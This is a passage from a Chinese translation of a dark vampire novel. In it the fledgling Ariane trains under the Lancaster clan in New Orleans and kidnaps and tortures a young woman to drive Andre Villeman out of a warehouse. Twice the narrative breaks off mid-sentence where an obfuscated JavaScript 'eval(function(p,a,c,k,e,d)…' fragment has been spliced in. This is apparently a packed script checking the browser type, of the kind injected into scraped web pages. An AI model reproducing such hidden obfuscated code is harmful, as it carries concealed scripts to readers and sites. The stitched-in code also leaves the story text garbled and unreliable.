“只有大师级吸血鬼才能制造新吸血鬼，而平均要花一个世纪才能成为大师。这个过程本身也很耗费精力，会让制造新吸血鬼的大师虚弱数年。” “我相信您很快就会成为大师，夫人，我已经能感觉到您的强大气场了。”夏洛特奉承道，这头蠢猪。 “没错！有时候我都分不清是您路过，还是摩尔夫人来了！” 要是战斗牧师现在破门而入，把我们都烧死，我想我会任由他们这么做，而且还会心存感激。 “当然，我们兰开斯特家族的成员都是从最优秀的血脉中挑选出来的。” 她怎么能面不改色地说出这种话？ 我看到梅卢西娜眼中闪过一丝恶意，我知道我应该和那两个蠢货一起点头附和的。现在我得再忍受她一会儿，直到她把矛头转向别人。 “是的，我们有责任把我们优秀血统的福祉分享给其他血脉，你同意吗，阿丽亚娜？” “当然，夫人，能得到您的教导，我永远感激不尽。能由您亲自教导，我深感荣幸。” 我能感觉到两道充满敌意的目光向我射来，显然我在等级排序中超过了那两个笨蛋。 “确实如此，那么能得到这样的恩宠，你肯定会很感激，对吧？” 我点头表示同意。我不喜欢事情朝这个方向发展，但我必须配合。不管梅卢西娜想让我做什么，我都不得不做。我唯一的希望是她能快点失去兴趣，去刁难别人。 “由于那个忘恩负义的野蛮人的背叛，我们急需人手来管理这座城市。你肯定会同意协助我们，对吧？” 我僵住了。因为没有心跳，也不需要呼吸，我们吸血鬼能做到完全静止，我现在就是如此。 我必须表现出一丝恐惧，然后是顺从。如果她猜到了真相，可能会收回这个提议，就为了看我痛苦。 我假装紧张地咽了咽口水，畏缩了一下，然后给了她一个紧张的微笑。 “当然，梅卢西娜夫人，我很乐意报答您的恩情。” 求求你，我在心里祈求，就相信这个谎言吧。只要能让我摆脱这场闹剧般的茶话会，哪怕只有几天也好，我什么都愿意做。我愿意去铲一车又一车的马粪，愿意在泥地里爬，用手抓青蛙。求求你，让我出去吧。 看到三张带着虐待狂般笑容的脸，我知道我的小伪装成功了。 “那我明天就开始给你上私教课，为你做准备！毕竟，我们可不想因为你的糟糕表现，让你的恩主蒙羞。” 接下来的一个小时，我好不容易才抑制住内心的兴奋。我强迫自己看起来忧心忡忡，表现得比平时更加顺从。 终于。 我也许能出去了。 〇〇〇 我在流言蜚语的低语中醒来。 人类是一种奇怪的生物。他们异常顺从，无比忠诚，但他们的其他缺点也被放大了。他们会为了赢得我们这些永远只把他们当作血源和暖床工具的生物的青睐，而互相背后捅刀、阴谋算计、诋毁污蔑。 不过，他们还是有他们的用处。 在我无害地待了一周后，他们开始对我漠不关心。 因为我是外来者，还有关于我血统的传闻，他们不会讨好我。而我没有反应，这让他们在我身边时放松了警惕。 于是，我收集到了不少信息。 其中大部分都让我感到厌恶。 兰开斯特家族的吸血鬼们小气、恶毒又□□。他们每个人都有自己的缺点、扭曲的欲望和恶劣的习性。他们都令人厌恶，各有各的令人厌恶之处。 梅卢西娜喜欢拆散情侣。她会跟踪他们好几天，勾引未婚夫并与其上床，然后安排一场公开对峙。分手闹得越激烈，她就越开心。 兰伯特是个惯于说谎的人，专挑年轻有野心的商人下手。他会欺骗、诈骗他们，直到他们倾家荡产。只有在他们落魄的时候，他才会表现出一点不寻常的冷漠之外的情绪。 夏洛特是个有自卑情结的暴力恶霸。她喜欢欺负仆人，我敢肯定她以前就是个仆人。 索菲的智商就像煮过的土豆一样，魅力也只有一半。她行为不算太残忍，因为她没那个心眼。当然，这也可能是装的，在她身边我从不放松警惕。 那个像黄鼠狼一样的男人叫威尔伯恩，他是个连环□□犯。只是因为他害怕梅卢西娜，我才没被他盯上。我猜他可能对梅卢西娜做过什么，而她让他记住了惨痛的教训。 那个魁梧的光头男人叫哈罗德，他总是心怀怨恨。每一次他觉得自己受到了轻视，最终都会演变成体罚，不管别人怎么恳求、怎么保证，都改变不了他认为所有人都在背后侮辱他的想法。 如果他们的继续存在还不能证明上帝已经抛弃了这个世界，那我就不知道还有什么能证明了。 “我叫阿丽亚娜，我只属于我自己。我要活下去，逃出去，然后回家。” 每天黄昏，在血欲把我变成一个伪装成人的恶魔之前，在那短暂的宁静时刻，我都会用阿卡德语，也就是吸血鬼的语言，重复这句话。我很惊讶地发现其他人还得学习这门语言。我不知道这知识是怎么悄悄钻进我脑子里的，我也不想问。 血欲袭来后不久，琼就来敲我的门。这次，我没有让她进来。相反，我很快把她打发走了。我穿上四套衣服中的一套，走了出去。 我所有的衣服都又破旧又过时，不过还算实用。我看起来就像一个家道中落的人家的女儿，这一切都是为了迎合梅卢西娜扭曲的心理所构建的世界形象。 这些衣服穿着也不舒服，尤其是在我的……嗯，某些部位，太紧了。 夏洛特肥胖的身影挡住了通道。 “什么事？” “梅卢西娜夫人让你去训练室找她。是时候让你派上用场了，外来的家伙。你不能一直靠我们的施舍过活。” “兰开斯特家族还真是接纳出身低微的人啊。可惜有些人永远也摆脱不了他们以前的身份。”我回应道。 我的反驳让她气得双下巴直抖。啊，不过她的主人肯定喜欢丰满的女人，而且还又瞎又聋。也许他住在芬兰的某个偏远角落，而她是方圆一个月路程内唯一的女人。我想不出别的解释了。 她没有离开，脸上的怒容变成了一抹冷笑，我做好了准备，迎接她那混乱大脑中又会冒出什么蠢话。 “夫人会教你战斗技巧。也许给你点教训，能让你懂点礼貌。” “那也许我需要一个陪练？”我暗示道。 我笑了。 我很饥渴，而这头愚蠢的母猪挡了我的路。让她看看我的獠牙，让她记住我的吸血鬼同胞们以什么闻名。 我从她身边走过时，她畏缩了一下，往后退了一步。 我可能像所有初拥者一样很弱小，但她更弱。她就是最底层的渣滓。我要让每一次相遇都成为对她自尊的打击，直到她学会离我远点。 兰开斯特家族的训练室在一楼。如果有地下室，我从来没见过。梅卢西娜在等着。她穿着一身奇怪的服装，介于旅行装和铠甲之间。她还拿着一把击剑用的剑。索菲已经坐在一旁了，夏洛特在我之后不久也进来了。 没有人类。 这可不太妙。如果梅卢西娜叫了旁观者，那就意味着她打算羞辱我。她给了我一把训练用剑，展示了正确的握法和一些基本动作，而那两个没脑子的蠢货则对她的“优雅和风度”赞不绝口。 还是没有人类。 我太渴了。 我把注意力转回这位小公主身上。看着她，我想起了希梅纳对兰开斯特家族的评价。她提到他们在战场上缺乏实力，从这两个女人的对比中我就能看出来，她说得没错。 梅卢西娜可能接受过一些正规训练，但她不是大师。她的动作太机械了。她缺乏加的斯乡绅那种致命的优雅和流畅的自如。希梅纳的每一次示范都自然又轻松。 过了一会儿，她命令我模仿她的动作，我尽力学习。这是我来到这个堕落巢穴后，参与过的最有意义的活动。再多隐晦的侮辱也破坏不了我的兴致。 这种身体上的活动甚至让我暂时忘记了血欲。因为我不用说话，也不用思考，生活变得简单。我冲刺、劈砍、移动。我让我的身体和体内的怪物引导着我。它们已经知道该怎么做，我只需倾听并跟随。 “嗯，你的姿势还是很别扭，但我想我也不该对像你这样的人期望太高。” 看来我的愉悦表现得太明显了。 “现在我们开始一场轻松的对练，也是今天最重要的一课！” 啊，该来的羞辱时刻到了。我只希望这一切能快点结束，别太疼。梅卢西娜拿起一只雕刻精美的奇怪手套。我想它漂亮得可以在舞会上戴，不过这手套上的金属量，让它看起来像某种骑士的护手。 “现在，攻击我。”她无比自信地说。 我该快点动手吗？那会让我更饥渴。 最后，我的自尊心不允许我轻易屈服，让她轻松获胜。我动了。 我冲到她面前时，她举起戴着手套的手，平静地说：“冲击。” 我向左闪躲。有什么东西猛地击中了我的腰和腿。我被击飞出去，在空中旋转。 怎么回事？ 我撞到了武器架上。钢梁顶在我的侧边，我倒在了地 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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啊，没错，我确实应该感谢他们那些珍贵的“馈赠”。那个被他们称为卧室的豪华衣柜，还有我仅有的四套衣服。 我跟着梅卢西娜来到入口。显然，二十分钟的训练就足以让我胜任士兵的角色。在我父亲那里，我听他讲上这么长时间，他才会允许我拿一把没装子弹的手枪。 我的思绪飘远了。我想知道我的家人过得怎么样，他们一定以为我死了。我记得在……第一个夜晚之后，我在医院醒来。 当时我疼得厉害，记不太清了。我觉得父亲当时在那里。然后那个男人把我从房间里拖出来，拽到了地下室。我在那里死去，在第三天晚上。我把这些不愿想起的回忆抛到脑后。 如果他们再见到我，一定会发现异样。我受的伤太重了，那些伤疤本会伴随我一生。 我还应该尝试回去吗？ 我必须回去。我想要一个了结。我需要和过去的自己告别，埋葬身为人类的阿丽亚娜的希望和计划，好好哀悼。 我们来到大厅，向左转，来到我知道是博杜安的办公室。我知道他是凡人，但他不是任人宰割的羔羊。我从他身上闻到了摩尔夫人的气息。 “你要听从博杜安的任何安排，协助他。我很忙，在你为他跑腿的时候，我要去做更有价值的事。” 她转身离开了。 真奇怪。 我敲了敲门，一个不耐烦的声音让我进去。我关上门，转身时发现博杜安正盯着我的屁股。我轻轻嘶了一声，这足以提醒他我可不是好惹的。 “怎么？找老博杜安有什么事？” 他的口音很奇怪，我辨别不出来，即使我听过阿卡迪亚人和乔克托人说英语。 “我是来协助您的。” “我可不想让一个不到一年的新生来帮忙！这需要心思细腻的人。摩尔夫人亲自说过，我可以让梅卢西娜来做这件事。” 我得把懒惰也加到梅卢西娜那长长的缺点清单上。 “她确实说过不想给您跑腿。” “是这样吗？哼，你告诉她，让她回来，不然我就告诉夫人，哼？” “当然，博杜安，我会转达您的口信。” “不，等等。”我的手握住门把时，他说道。他叹了口气，捏了捏鼻梁。博杜安的办公室很能体现他这个人。 我对那些整理得井井有条的文件堆、整洁的环境以及注重功能而非形式的风格印象深刻。在他那副堕落、变态的强盗外表下，实际上他是个堕落、变态的商人。 这其实危险得多。 “也许，你也行。” 我能理解强迫那位小公主做任何有成效的事有多痛苦。 “您需要我做什么？”我问他。 这个男人靠在舒适的椅子上。 “一个叫安德烈·维勒曼的年轻无赖，竟然胆大包天，霸占了我们的一个仓库。昨天，他和他那帮乌合之众闯了进去，在装着我们最好瓷器的箱子间安营扎寨。” 博杜安等着看我有什么反应。我示意他继续说。如果他需要梅卢西娜，那就说明这件事需要用手术刀，而不是大锤来解决。 “通常情况下，我会派手下收拾他们，一了百了。不幸的是，维勒曼是两个相当有头有脸的人的儿子，杀了他会破坏我们的业务关系。” “我猜他们管不住他？” “很不幸，维勒曼正处于叛逆的年纪。因为他的出身，他自认为可以为所欲为，还到处炫耀自己的身份。更糟糕的是，他吸引了一群出身名门的年轻人，要是发生流血冲突，可能会影响我们多年的收益。” “您需要有人在不诉诸暴力的情况下，说服他们离开？” “至少别用太多暴力。他很容易动怒，而你们这些，呃，不死之身往往手段过于强硬。我需要的是巧妙的手段。我还需要发出明确的警告，我们绝不能被人欺负。这就是为什么我不能贿赂他。” “这需要把握好微妙的平衡。” “现在你知道老博杜安为什么发愁了吧，小姑娘。像我这样的艺术家，要是没有合适的人来执行我的意志，能有什么办法呢？” 我嗤笑一声。 “我愿意试试，但我需要一些回报。” 这个狡猾的谈判者的眼神瞬间变得冰冷。 “你想要什么？” “只是一些关于这个世界的一般性问题。尽管我上了课，但我还有很多要学。” “梅卢西娜选的教学内容不合你意？让我猜猜，你是不是已经把兰开斯特家族的辉煌历史，从玫瑰战争开始，每个十年的事都了解得一清二楚了？” “是的，从玫瑰战争开始，一个十年接一个十年的历史。” 他轻声笑了起来。 “好吧，只要不是太敏感的问题就行。你不会想背叛老博杜安吧，嗯？” “当然不会。” 我微笑着。他紧张地咽了口唾沫。 我想我永远也不会厌倦这八颗獠牙给人带来的震慑效果。 “在我们出发之前，还有个小安全问题。我相信你能理解。” 我立刻警惕起来。 “我们外出的时候，我需要你戴上这个。” 他站起来，走到一个保险箱前。不一会儿，他从里面拿出一个装饰华丽的护腕。看起来像是吉普赛人会戴的首饰，全是金子和鲜艳的颜色。 “这是什么？” “一个追踪器，和摩尔夫人直接相连。” “魔法物品？” “没错。要是你试图做出任何伤害我或家族的事，她就能追踪到你，让你动弹不得。这也关系到我们的声誉。别想着把它摘下来，比你厉害的人试过都没成功。” 我权衡着自己想要离开这个肮脏巢穴的渴望，以及我不愿像狗一样被拴住的心情。最终，我选择了保住自己的理智，而舍弃了尊严。而且，真到了那一步，我也许能砍掉自己的胳膊，之后再重新接上。 我太渴望出去了。 护腕贴在我的皮肤上冰冷刺骨，我能感觉到装饰它的金银和宝石花纹中，有一种沉睡的力量。 “那我们走吧。” 8. 仓库交锋 我们走到外面，突然有什么东西让我停住了脚步。 眼前的夜晚，美得令人窒息。 南方盛夏白昼的闷热已经稍稍退去。世间万物都出来享受这片刻的清凉。我嗅到了大海和沼泽的水汽，树木的生机，还有人间烟火的气息。 有木柴燃烧的烟味、烤肉的香味、酒精味、汗水味，在这一切之下，是满满的生机。我听到了人们的欢声笑语，还有捕猎的动静、昆虫的鸣叫，以及若有若无的音乐声。男男女女们跳舞、畅饮、高歌，将烦恼抛诸脑后。 明天，或许就会传来洪水肆虐、冲毁田地和村庄的消息，就像每年夏天都会发生的那样，但此刻，他们忘却了一切。 我望着众多的屋顶和燃烧的灯火，再往上，是那片天空。 天空中有如此多的色彩，如此多我从未注意到的图案。银河像一位愤怒画家随意挥洒的画笔，划破夜空。 在这令人惊叹的景象中央，那只奇异的眼睛赫然浮现，就是我第一次见到的那只。就在我看向它的瞬间，它也直直地回望着我，我再次感受到一种异样的存在。 它既不威胁，也不承诺，甚至不评判，只是静静地注视着。 或许我已经逐渐接受了自己全新的本质，因为我觉得它让人安心。就连那如影随形的饥渴感，也退居到了幕后。 有人不停地拉我的袖子，把我从遐想中唤醒。我本以为博杜安会生气，可他只是带着耐心的笑意。 “我一直好奇你们这类人是怎么看待它的。你们看它的眼神，就好像它里面藏着一枚法贝热彩蛋，或者一只狼蛛。” “你知道我们看到了什么？” “那只眼睛？是的，摩尔夫人提过。她称它为‘恶魔之眼’。” “它不是恶魔，而是‘沉默的守望者’。” 博杜安猛地一颤。 “什么？” “尼拉里大人也用了一模一样的说法。我猜他的血统是纯正的，嗯？”他叹了口气，“他们说，每一个抬头的吸血鬼都会看到那只眼睛正盯着自己。怪吓人的，是吧。” 对此我无言以对。我们朝码头走去，路过法国区周围崭新的西班牙风格建筑。圣路易斯大教堂的钟声刺痛了我的耳朵。此时已是午夜。 “有什么不对劲吗，阿丽亚娜？” “不到一个月前，我还走过这条路。就在这条街上。” “啊，我忘了。我还不太习惯和这么年轻的人共事。我们得做出调整，不然你会被认出来的。” “你说得好像自己是个老头似的。” 结果证明，他确实是。博杜安是摩尔夫人的人类仆人。他们被某种力量束缚在一起，只要她活着，他就能活下去。只有主人才能这样束缚一个人。 在三十分钟里，我从他那里学到的有用信息，比从那个邋遢的□□那里学到的所有东西都要多。 兰开斯特家族统治着新奥尔良的大部分英裔区域，而埃孔家族则逐渐渗透进了克里奥尔人群体。卡迪兹家族在这里只有名义上的存在。罗兰家族都在巴吞鲁日，至少还剩下的那些是。 兰开斯特家族以商业头脑著称，并且大量从法师家族中“招募”成员，他们和法师家族一直处于战争状态。 兰开斯特家族从奴隶和食品贸易中赚取了丰厚的利润。大部分收益都作为什一税上缴给了英国的主宅。 我敢肯定，这让摩尔夫人极为恼火。 法师是魔法群体的另一部分。博杜安告诉我，如果我能证明自己是值得信赖的伙伴，他会给我更详细地介绍全球魔法界的情况。 他对吸血鬼了解甚多。 刚变成吸血鬼的雏儿显然需要更多血液才能维持正常活动。在最初的两年里，体力消耗会消耗大量能量，所以不鼓励雏儿进行剧烈运动。事实上，雏儿似乎需要被照料很长一段时间，才能重新融入社会。我们中最年轻的那些，要么野性难驯，要么冷漠麻木，没有中间状态。 我似乎是个例外，不过我也不确定原因。主人并不以孕育出高智商的后代而闻名。 博杜安听说了我在希梅纳训练室里的对抗。作为一个新生吸血鬼，我速度相当快，但身体非常脆弱，力量也很弱。知道这些很有用。主人非常古老，我曾希望这能让我更强，但似乎生活并非如此。 吸血鬼不喜欢火器、弓箭和弩，因为那些是平民使用的武器。许多强大的吸血鬼诞生于火药发明之前。在我看来，这又是一种极度傲慢和愚蠢的表现，直到我想起主人和加斯帕尔的速度快到我都难以察觉。 也许这就是为什么在我们当中，使用远程武器毫无意义。但我仍然觉得没有理由不对人类使用。 说到人类，战斗牧师是加百列教团的成员。他们致力于消灭所有魔法生物。他们还厌恶爱尔兰人、墨西哥人、犹太人、穷人以及女性。真是一群“可爱”的家伙。 很快，我们到达了仓库，在还没被发现之前，我让博杜安停了下来。那些街道很安静，只有从我们的目的地传来的阵阵笑声。 我拉着他穿过附近的一条小巷，从侧面靠近目标。它看起来更像一个谷仓，而不是别的什么。它是用深色木材建造的，隐隐有股腐烂的味道，大得足以藏下一艘单桅帆船。 我带着有些困惑的同伴走向入口，但在转弯能看到门之前停了下来。这里的笑声最响亮。我顺着一道光线找到了木板上的一个小孔。 “这个洞太小了，什么也看不见，阿丽亚娜。”博杜安带着嘲讽的语气说道。 我直直地盯着他的眼睛，把带爪子的食指放在洞口，用力一推。 锋利的指甲下，受损的木板弯曲、断裂，我的手指完全插了进去。喧闹的交谈声掩盖了我弄出的细微声响。 我一直没有移开视线。 博杜安的脸色微微发白，尽管在他多年的服侍生涯中，肯定见过更惊人的力量展示。木板被我弄开了，我成功地掩饰住了自己松了一口气的表情，不然可就太尴尬了。 我往里看去。昏暗的油灯洒下昏黄的光，照亮了十几个正在纵酒狂欢的男人和女人。他们都很年轻，浑身散发着活力和热情。姑娘们露出的肌肤比她们父母允许的要多了些。男人们的笑容带着一丝贪婪。 饥饿感从沉睡中苏醒。你这贪婪的家伙，今晚你已经饱餐一顿了。 在众人之中，有个潇洒的年轻人，他穿着敞开的皮背心、棕色裤子和靴子，像坐在宝座上的王子一般，坐在最前面。他有着乌黑的头发、海盗式的络腮胡和梦幻般的灰色眼睛。此刻，他的腿上坐着一个可爱的金发女子，她穿着长裤，丰满的胸部因深深的领口而若隐若现。一个高大强壮、满脸胡须的男人站在旁边，警惕地看着门口。 我毫不怀疑，这个放荡不羁的年轻人就是维勒曼先生，我必须要说服的人。他那做作的举止和自以为是的神态让我很不舒服，我立刻就讨厌上了他。 我还发现了自己的另一个有趣之处。过去，我会根据权力博弈和小团体来判断群体动态，而现在我所关注的完全是狩猎。 这就像一群猎物。有一个占主导地位的雄性，一个占主导地位的雌性，还有一个强大的次强者。我能看出谁会反抗，谁会逃跑，谁最容易被孤立，谁是最容易下手的目标。 这群人中最不起眼的是一个戴着厚重眼镜、胆小怯懦的女孩，她用我父亲会形容为“癞蛤蟆陷入爱河般的眼神”，死死地盯着亲爱的安德烈。可怜的姑娘。我比大多数人都更清楚，当一个人爱上黑心之人时，迷恋会带来怎样的后果。 “博杜安，弄清楚哪些人我不能动。” 在他的帮助下，我确定了三个男人和两个女人，他们的失踪会引起轩然大波。安德烈的副手和那个金发女子不在其中。太好了。一个计划开始在我脑海中形成。 “我有多少时间？” “直到下一批货物到达，那是三天之后。” “那应该足够了。”我回答道，然后朝门口走去。 外面没有哨兵，这并不让我意外。安德烈对他的名声所带来的保护非常自信。 我悄无声息地打开门，平静地走了进去。一开始我以为这个“王子”选择这个地方是想勒索里面货物的赎金，但我可能高估他了。这里弥漫着浓烈的过度纵欲的味道。 仓库的黑暗角落为这群人提供了他们期盼已久的私密空间。我敢肯定，几个月后，当后果变得无法向父母隐瞒时，这里的一些女士会为自己的决定后悔。 那个大胡子男人第一个看到了我，他拿出一根短棍，但当他注意到我的样子时，停住了脚步。渐渐地，众人意识到有不速之客，喧闹声逐渐平息，直到安德烈不得不把注意力从金发女子的左□□移开，来应对这个新情况。 这个□□在整理上衣时，竟然还愤怒地瞪了我一眼，对被打断感到极为恼火。 “哟，哟，哟！”这个蠢货说着，男人们都笑了起来，“你迷路了吗，小甜心？” “不，迷路的是你。这是个仓库，不是俱乐部。” 这个男人眼中闪过一丝怒火。 “你能不能请离开？我的雇主需要这个地方。” 金发女子在他耳边带着一丝残忍的微笑，低声说了些什么，他点了点头。一些男孩开始起哄，对我的背影评头论足。把他们都撕成碎片，在他们的内脏中沐浴的冲动越来越强烈，但我还是成功地忍住了。 “你为什么不留下来玩几个游戏呢？然后我们再考虑你的提议……” “我就当你是拒绝了，我明天再来，看看你是否改变了主意。” 我转身准备离开。 “没那么容易！” 我走到门口。 “嘿，你这个□□！乔治，抓住她！” 当乔治冲出来时，我已经消失不见了。 现在他们知道自己的罪过了，我只需要给予惩罚。 “那么，你今天学到了什么，小妹妹？” 我慢慢地喝着一杯水，尽力不去看厨房柜台上的饼干罐。熟悉的房间沐浴在傍晚的红光中。壁炉里炖着一锅汤，正缓缓冒着热气。 “我们学习了解剖学，还有各种器官的功能！” 哥哥阿希尔嗤之以鼻。 “女人学这些东西有什么用？” “女人能成为更优秀的护士和医生！” “胡说八道。” “嗯，我还记得西尔维表姐在蒙特福特的马车上羊水破了的时候，我们当中只有一个人惊慌失措，不是吗？” “好吧，好吧！我承认！那你跟我讲讲器官吧。” “嗯，比如说，肝脏！它能净化血液，还能产生胆汁，这对消化是必需的。” “是这样吗？那肝脏在什么位置呢？” “它在……嗯……在胸部！右边。大概在这儿？”我一边回答，一边用手指着胸部中间偏右的位置。 “哈，不对。再高一点。来，我们一起找找看！” 等等，什么？ 现在我被绑在桌子上，四肢伸展。我的胸部裸露着。这是怎么回事？阿希尔拿着一把磨尖的镐头朝我走来。 “等等，不，求你了！求你别这样！阿希尔！” “这是为了你好，妹妹，这样你肯定能记住！就在这儿……” “啊啊啊啊啊！” “找到了！我们一下子就找到了！现在，如果你想超越自己的身份成为一名医生，你就能记住了。” “不，求你了，停下！好疼！” “啊，是的，但这不会杀了你，因为你现在是个怪物了！好消息，妹妹。现在，找胰腺。在这儿！” “啊啊啊啊啊，不，求你了……求你了！” 我深吸一口气，然后缓缓吐出。真是一场不愉快的噩梦。 “我叫阿丽亚娜，我只属于我自己。我会活下去，我要回家。” 我又做了一次深呼吸，试图让自己平静下来，胃部传来的仿佛被冰冷刀刃刺入的幻觉般的疼痛让我不禁皱起了眉头。 我可能不再出汗，皮肤也不再剥落，但我的身体仍然有一股味道。我想，这味道倒也不是完全难闻，但等我从仓库回来，还是得洗个澡。 昨天的经历奇怪地让我感到满足。 我已经穿戴整齐，这时一个新仆人敲响了我的门。琼正在休息，这个仆人胆子很小。我想，我差点杀了她的前任，也难怪她会这样。 “我知道我该去哪儿。你可以走了。” 我走到庄园的后面，来到畜栏。有几个单独的笼子，兰开斯特家族把有问题的“牲口”关在那里。 “晚上好，布兰奇。” “主……主人阿丽亚娜！求你了，求你放我出去！我保证我不会……” 我把这个金发女人拉得离我更近，紧紧地抱住她。在和那个“王子”共度一夜，又在酷热的白天外出之后，她身上的味道相当刺鼻。她的裤子被汗水浸湿，黏糊糊的。我舔了舔她脖子上的两道白色伤疤，她愉悦地颤抖起来。 我咬了下去。 昨天我并没有真正品尝她的味道，只是给她留下了印记。我用尽所有的自制力才没有当场杀了她。这太容易了。而且也不会有人责怪我。 有什么东西阻止了我，一种占有感。布兰奇是我的第一个“牲口”。至少，多咬她几口之后，她就会是了。现在杀了她，感觉太浪费了。 我舔干净伤口，饥饿感在我脑海的深处退去，像一只耐心的老虎。 “当然了，布兰奇，你知道我这么做都是为了你好……” “是的，主人，嗯嗯。我很抱歉，我们只是在玩！我会告诉安德烈，他会理解的，他是个好人！等你向他解释清楚情况，他肯定会同意离开的！” “那是当然。”我微笑着回答。 我让我的俘虏在一个水桶里稍微清洗了一下，毕竟我们可不想因为身上的味道而被民兵拦住。出发前，我去了博杜安的办公室。 “请进！啊，阿丽亚娜，有什么我能帮忙的？” “首先，你能不能别每次我转身关门的时候都盯着我的屁股看。” “恐怕我现在改不了了，年轻人。” “你这个老色鬼。不管怎样，我今晚应该回仓库，让他们离开。” “要是他们拒绝呢？” “他们不会的。” 博杜安怀疑地挑起了眉毛，但还是允许我去了，还把我要的小刀给了我。 我穿着一件简单的连衣裙，戴着一顶保守的帽子，走在新奥尔良的街道上，这些都是博杜安提供的。我还带着护腕和一个皮挎包。 昨天我们回来的时候，这个狡猾的男人提到了这些，他说得没错。穿着和举止真的能让人融入人群。我改变了走路的方式，微微弓着背，低下头，脸上带着谦卑的表情，显得不那么自信。很快，我就融入了人群，就像只是一个外出办事的女仆，没人会注意到我。 这是另一种魔法，街头艺人与骗子的魔法，心灵的魔法。我觉得它们令人兴奋。 我们很快就到达了仓库。今晚这里没有欢声笑语，一片死寂，但并非空无一人。 安德烈活在自己编织的幻想里。他的父母有权有势，为他提供庇护；他的朋友们都很富有，对他钦佩有加。体面人家的女儿们为他的财富和英俊外表所倾倒，为了他的享乐而宽衣解带。 他过着逍遥自在的生活。昨天，他在某个肥胖商人的仓库里建立起了自己的权力据点。在他的想象中，他们可以在这里尽情玩乐一段时间，然后在拿到钱后离开，最好是在这个地方变得太臭之前；这或许是他建立自己犯罪帝国的第一步。 然后我出现了。 布兰奇在夜里某个时候出去解决生理需求，乔治在一旁放哨。我轻轻咬了一口就解决了乔治，然后绑架了这个女孩。咬痕能让人在一段时间内变得顺从。 我敲了敲门，没有得到回应。我能闻到里面有人。他们料到我昨天放了话之后今天会回来。 我要他们离开。在这个阶段抵御一场伏击会很麻烦。 “主人？” “对不起，布兰奇。” 我从门口退开，抓住她，然后折断了她的一根手指。 她的惨叫声真好听。 不出所料，门猛地被撞开，剩下的那群人冲了出来，安德烈走在最前面。 现在只剩下五个人了，全是男人。真是可悲。 我迫使布兰奇跪下，抓住她的头发，她则护着自己的手。她轻声的抽泣声是唯一打破寂静的声音。 我享受着这一刻。现实生活竟能与虚构故事如此美妙地契合，这让我觉得很有意思。我们就站在这里，仿佛到了戏剧的第三幕尾声。男主角怒发冲冠，而他心爱的人则在哀叹自己的命运。 忠诚的副手看到我时，眼睛瞪得大大的。阴谋的种子已经准备好发芽，他们这个疲惫不堪的团体也即将分崩离析。 我愉悦地颤抖着。我是这场戏的编剧，我早已知道结局：我将大获全胜。 “马上放开她！否则！” 昨天，他们肯定会红着眼睛、充满杀意地向我冲过来。但今晚，他们变得小心翼翼，锐气已失。 我抓走了他们的“公主”。她此刻就跪在我面前，败下阵来。经过一整天的搜寻，他们没能找到她，没能救她出来。数小时愤怒又急切的打听，换来的却是无力感。现实给了他们沉重一击，而他们并不喜欢这种感觉。 那些原本只是为了寻欢作乐、闲聊打趣而来的人，因为伤亡已经退出，他们觉得街头斗殴和绑架太过粗俗。 一切都已经结束了。 在安德烈向前迈出一步之前，我从挎包里拿出小刀，把刀刃抵在布兰奇娇嫩的脖子上，用力到足以划破皮肤渗出血来。 “不，主人，求您了。我求求您……” 这对剩下的唯一的贵族来说实在难以承受。他扔下佩剑，跑掉了。现在只剩下安德烈、乔治和两个手下。 太可笑了。 “你会为此付出代价的，你这个贱人！你根本不知道你在招惹谁！” “安德烈·维勒曼，高蒂埃·维勒曼和爱丽丝·温特劳布的儿子。” “你……你怎么知道？” “我们知道你是谁，知道你的父母是谁，也知道你都干了些什么。你带着傲慢与自负来到这里，以为自己无人能敌。你错了。啊，但在我们继续之前，这是一场私人谈话。你们两个？离开这里。” 那两个手下对视一眼，觉得犯不着为这事拼命。现在，只剩下乔治和安德烈了。 “如果你知道我父母，那你就该知道你惹错人了！” “你的父母不承认你的行为，安德烈。他们不会插手。对你，他们甚至觉得不值得与我们 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“等等……你要干什么……不！啊啊啊啊！” 做完这些，我平静地把小刀收进口袋，站起身来。 “到此为止。”我说，他抽泣着，捂着被划开的脸颊。 我对乔治的控制刚刚消失，而布兰奇尽管被我咬了两口，忠诚度也很不稳定。如果我再继续下去，流的血就会比我计划的更多。 “我希望今晚这个地方就被清空。再见。” 我转身离开。我能感觉到，随着这个象征性的举动，将这两个人类与我相连的纽带像晨露一样消散了。我不想把他们留在身边，原因很简单，梅卢西娜和其他人会利用他们来对付我。我拥有的任何东西，要么必须隐藏起来，要么就得是无形的，比如地位。我不会让她利用他们来威胁我。 我一走出他们的视线，就急忙赶到我和博杜安最初监视仓库的地方。 “你还是出来吧。” 博杜安面带微笑，从一个隐蔽处走了出来，还假装举起双手投降。我觉得普通人就算从他身边走过一千次，也不会注意到他。 “希望你别把这当成我不信任你。” 我冷笑一声。 “要是我让这条街血流成河，博杜安，你会怎么做？大喊救命……” 我突然被一阵剧烈的疼痛打断，说不出话来。这疼痛震得我骨头都在发抖，牙齿咯咯作响，仅仅一瞬间，却让我浑身颤抖。 “这……这是怎么回事？” “对不起，阿丽亚娜，”他说着，亮出了手腕上的一个金色手环，“这个追踪护腕也能用来制造疼痛，让佩戴者失去行动能力。在你想用你吸血鬼的敏捷来对付我之前，要知道，如果你碰我，护腕会惩罚你。” 我轻轻地嘶了一声。我还能指望什么呢？一个满是骗子和无赖的家族，怎么可能让我离开他们的房子，却不采取任何控制我的手段呢？ “别太生气，小家伙。我会补偿你的。” “怎么补偿？” “在我们开始之前，我得问问。你为什么等了一天？为什么要绑架她？” “你想知道我计划背后的原因？” “是的，我在评估你是否能成为长期的合作伙伴。我需要有人暂时接替奥戈泰的位置。哈罗德和威尔伯恩不适合需要动脑子的任务。作为摩尔夫人的人类仆人，如果你担任这个角色，我可以在很大程度上保护你，免受梅卢西娜那些琐碎的报复。” 提到其他吸血鬼时，博杜安的脸上露出轻蔑的神情。这让我想起，在他那令人厌恶的外表下，隐藏着敏锐的头脑。同样令人厌恶。 “在处理日常事务方面，我得到了夫人的信任。只要我能保证，比起去讨好那个傲慢的蠢货，你更适合去解决问题，她就会放过你。” 